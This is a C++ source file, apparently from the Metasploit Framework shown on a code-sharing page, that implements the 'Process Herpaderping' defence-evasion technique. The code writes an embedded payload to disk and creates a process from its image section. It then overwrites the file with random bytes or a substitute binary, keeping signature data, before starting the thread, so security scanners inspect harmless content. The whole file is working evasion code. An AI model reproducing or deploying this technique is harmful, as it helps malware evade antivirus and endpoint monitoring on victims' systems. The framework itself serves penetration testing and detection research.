CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/herpaderp.cpp
Views: 11789
1
#include "pch.hpp"
2
#include "herpaderp.hpp"
3
#include "utils.hpp"
4
5
_Use_decl_annotations_
6
HRESULT Herpaderp::ExecuteProcess()
7
{
8
HRESULT hr;
9
10
std::wstring TargetFileName;
11
hr = Utils::GetFileName(Herpaderp::_TargetFileName, TargetFileName);
12
if (FAILED(hr))
13
{
14
REPORT_AND_RETURN_HR("Failed to retrieve the target filename", hr);
15
}
16
dprintf("Target File: \"%S\"", TargetFileName.c_str());
17
18
DWORD sourceSize = sizeof(payload);
19
PBYTE ptrPayload = payload;
20
if (payload && sourceSize > 0)
21
{
22
dprintf("Payload size: %d (%p)", sourceSize, ptrPayload);
23
}
24
25
// To create target file with exclusive access, set shareMode to 0
26
DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
27
FileHandle targetHandle(TargetFileName, TRUE);
28
targetHandle.get() = CreateFileW(TargetFileName.c_str(),
29
GENERIC_READ | GENERIC_WRITE,
30
shareMode,
31
nullptr,
32
CREATE_ALWAYS,
33
FILE_ATTRIBUTE_NORMAL,
34
nullptr);
35
if (!targetHandle.valid())
36
{
37
REPORT_AND_RETURN_WIN32("Failed to create target file", GetLastError());
38
}
39
40
DWORD bytesWitten = 0;
41
BOOL boolRet = WriteFile(
42
targetHandle.get(),
43
ptrPayload,
44
sourceSize,
45
&bytesWitten,
46
nullptr
47
);
48
if (!boolRet)
49
{
50
REPORT_AND_RETURN_WIN32("Failed to copy source binary to target file", GetLastError());
51
}
52
53
boolRet = SetEndOfFile(targetHandle.get());
54
if (!boolRet)
55
{
56
REPORT_AND_RETURN_WIN32("Failed to set EOF on target file", GetLastError());
57
}
58
59
dprintf("Copied source binary to target file");
60
61
//
62
// Map and create the target process. We'll make it all derpy in a moment...
63
//
64
AutoCloseHandle sectionHandle(TRUE);
65
auto status = NtCreateSection(&sectionHandle.get(),
66
SECTION_ALL_ACCESS,
67
nullptr,
68
nullptr,
69
PAGE_READONLY,
70
SEC_IMAGE,
71
targetHandle.get());
72
if (!NT_SUCCESS(status))
73
{
74
REPORT_AND_RETURN_NT("Failed to create target file image section", status);
75
}
76
77
dprintf("Created image section for target");
78
79
ProcessHandle processHandle;
80
status = NtCreateProcessEx(&processHandle.get(),
81
PROCESS_ALL_ACCESS,
82
nullptr,
83
NtCurrentProcess(),
84
PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
85
sectionHandle.get(),
86
nullptr,
87
nullptr,
88
0);
89
if (!NT_SUCCESS(status))
90
{
91
REPORT_AND_RETURN_NT("Failed to create process", status);
92
}
93
94
dprintf("Created process object, PID %lu", GetProcessId(processHandle.get()));
95
96
//
97
// Alright we have the process set up, we don't need the section.
98
//
99
sectionHandle.close();
100
101
//
102
// Go get the remote entry RVA to create a thread later on.
103
//
104
uint32_t imageEntryPointRva;
105
hr = Utils::GetImageEntryPointRva(targetHandle.get(), imageEntryPointRva);
106
if (FAILED(hr))
107
{
108
REPORT_AND_RETURN_HR("Failed to get target file image entry RVA", hr);
109
}
110
111
dprintf("Located target image entry RVA 0x%08x", imageEntryPointRva);
112
113
PROCESS_BASIC_INFORMATION pbi{};
114
status = NtQueryInformationProcess(processHandle.get(),
115
ProcessBasicInformation,
116
&pbi,
117
sizeof(pbi),
118
nullptr);
119
if (!NT_SUCCESS(status))
120
{
121
REPORT_AND_RETURN_NT("Failed to query new process info", status);
122
}
123
124
PEB peb{};
125
if (!ReadProcessMemory(processHandle.get(),
126
pbi.PebBaseAddress,
127
&peb,
128
sizeof(peb),
129
nullptr))
130
{
131
REPORT_AND_RETURN_WIN32("Failed to read remote process PEB", GetLastError());
132
}
133
void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);
134
135
//
136
// Herpaderp wants a pattern to use for obfuscation, set that up here.
137
//
138
std::span<const uint8_t> pattern;
139
std::vector<uint8_t> patternBuffer;
140
//
141
// Setup a random pattern
142
//
143
patternBuffer.resize(Herpaderp::RandPatternLen);
144
hr = BCryptGenRandom(nullptr,
145
patternBuffer.data(),
146
SCAST(ULONG)(patternBuffer.size()),
147
BCRYPT_USE_SYSTEM_PREFERRED_RNG);
148
if (FAILED(hr))
149
{
150
REPORT_AND_RETURN_HR("Failed to generate random buffer", hr);
151
}
152
pattern = std::span<const uint8_t>(patternBuffer);
153
154
//
155
// Alright, if a file name has been provided in _ReplaceWithFileName,
156
// we will overwrite the target binary with it. Otherwise, we will
157
// overwrite the target binary with a pattern.
158
//
159
if (Utils::ShouldReplaceWithFile(Herpaderp::_ReplaceWithFileName))
160
{
161
std::wstring ReplaceWithFileName;
162
hr = Utils::GetFileName(Herpaderp::_ReplaceWithFileName, ReplaceWithFileName);
163
if (FAILED(hr))
164
{
165
REPORT_AND_RETURN_HR("Failed to retrieve the file name to replace with", hr);
166
}
167
dprintf("Replacing target with \"%S\"", ReplaceWithFileName.c_str());
168
169
FileHandle replaceWithHandle(ReplaceWithFileName);
170
replaceWithHandle.get() = CreateFileW(ReplaceWithFileName.c_str(),
171
GENERIC_READ,
172
FILE_SHARE_READ |
173
FILE_SHARE_WRITE |
174
FILE_SHARE_DELETE,
175
nullptr,
176
OPEN_EXISTING,
177
FILE_ATTRIBUTE_NORMAL,
178
nullptr);
179
180
if (!replaceWithHandle.valid())
181
{
182
REPORT_AND_RETURN_WIN32("Failed to open replace with file", GetLastError());
183
}
184
185
//
186
// Replace the bytes. We handle a failure here. We'll fix it up after.
187
//
188
hr = Utils::CopyFileByHandle(replaceWithHandle.get(), targetHandle.get());
189
if (FAILED(hr))
190
{
191
if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))
192
{
193
REPORT_AND_RETURN_HR("Failed to replace target file", hr);
194
}
195
196
//
197
// This error occurs when trying to truncate a file that has a
198
// user mapping open. In other words, the file we tried to replace
199
// with was smaller than the original.
200
// Let's fix up the replacement to hide the original bytes and
201
// retain any signer info.
202
//
203
dprintf("Fixing up target replacement, hiding original bytes and retaining any signature");
204
205
uint64_t replaceWithSize;
206
hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);
207
if (FAILED(hr))
208
{
209
REPORT_AND_RETURN_HR("Failed to get replace with file size", hr);
210
}
211
212
uint32_t bytesWritten = 0;
213
hr = Utils::OverwriteFileAfterWithPattern(targetHandle.get(),
214
replaceWithSize,
215
pattern,
216
bytesWritten);
217
if (FAILED(hr))
218
{
219
dprintf("Failed to hide original file bytes, %S", Utils::FormatError(hr).c_str());
220
}
221
else
222
{
223
hr = Utils::ExtendFileSecurityDirectory(targetHandle.get(), bytesWritten);
224
if (FAILED(hr))
225
{
226
dprintf("Failed to retain file signature, %S", Utils::FormatError(hr).c_str());
227
}
228
}
229
}
230
231
replaceWithHandle.close();
232
}
233
else
234
{
235
dprintf("Overwriting target with pattern");
236
237
hr = Utils::OverwriteFileContentsWithPattern(targetHandle.get(), pattern);
238
if (FAILED(hr))
239
{
240
REPORT_AND_RETURN_HR("Failed to write pattern over file", hr);
241
}
242
}
243
244
//
245
// Alright, at this point the process is going to be derpy enough.
246
// Do the work necessary to make it execute.
247
//
248
dprintf("Preparing target for execution");
249
dprintf("Writing process parameters, remote PEB ProcessParameters 0x%p",
250
Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));
251
252
hr = Utils::WriteRemoteProcessParameters(
253
processHandle.get(),
254
TargetFileName,
255
std::nullopt,
256
std::nullopt,
257
(L"\"" + TargetFileName + L"\""),
258
NtCurrentPeb()->ProcessParameters->Environment,
259
TargetFileName,
260
L"WinSta0\\Default",
261
std::nullopt,
262
std::nullopt);
263
if (FAILED(hr))
264
{
265
REPORT_AND_RETURN_HR("Failed to write remote process parameters", hr);
266
}
267
268
//
269
// Create the initial thread, when this first thread is inserted the
270
// process create callback will fire in the kernel.
271
//
272
273
dprintf("Creating thread in process at entry point 0x%p", remoteEntryPoint);
274
275
AutoCloseHandle threadHandle;
276
status = NtCreateThreadEx(&threadHandle.get(),
277
THREAD_ALL_ACCESS,
278
nullptr,
279
processHandle.get(),
280
remoteEntryPoint,
281
nullptr,
282
0,
283
0,
284
0,
285
0,
286
nullptr);
287
288
if (!NT_SUCCESS(status))
289
{
290
REPORT_AND_RETURN_NT("Failed to create remote thread, %S", status);
291
}
292
293
dprintf("Created thread, TID %lu", GetThreadId(threadHandle.get()));
294
295
//
296
// We're done with the target file handle. At this point the process
297
// create callback will have fired in the kernel.
298
//
299
targetHandle.close();
300
301
//
302
// Wait for the process to exit.
303
//
304
dprintf("Waiting for herpaderped process to exit");
305
306
WaitForSingleObject(processHandle.get(), INFINITE);
307
308
processHandle.terminate() = FALSE;
309
310
DWORD targetExitCode = 0;
311
GetExitCodeProcess(processHandle.get(), &targetExitCode);
312
313
dprintf("Herpaderped process exited with code 0x%08x", targetExitCode);
314
315
return S_OK;
316
}
317
318
int WINAPI wWinMain(_In_ HINSTANCE, _In_opt_ HINSTANCE, _In_ PWSTR, _In_ int)
319
{
320
HRESULT hr;
321
322
#ifndef _WIN64
323
//
324
// Only 32-bit version of Windows 10 is affected
325
// see https://bugs.chromium.org/p/project-zero/issues/detail?id=852
326
//
327
hr = Utils::IsBuggyKernel();
328
if (FAILED(hr))
329
{
330
REPORT_AND_RETURN_HR("Checking kernel failed", hr);
331
}
332
if (hr == S_OK)
333
{
334
hr = E_ABORT;
335
REPORT_AND_RETURN_HR("Kernel version on this OS is buggy and will BSOD... aborting", hr);
336
}
337
dprintf("Kernel is not one of the buggy one");
338
#endif
339
340
hr = Herpaderp::ExecuteProcess();
341
if (FAILED(hr))
342
{
343
REPORT_AND_RETURN_HR("Process Herpaderp failed", hr);
344
}
345
346
dprintf("Process Herpaderp succeeded");
347
return EXIT_SUCCESS;
348
}
349
350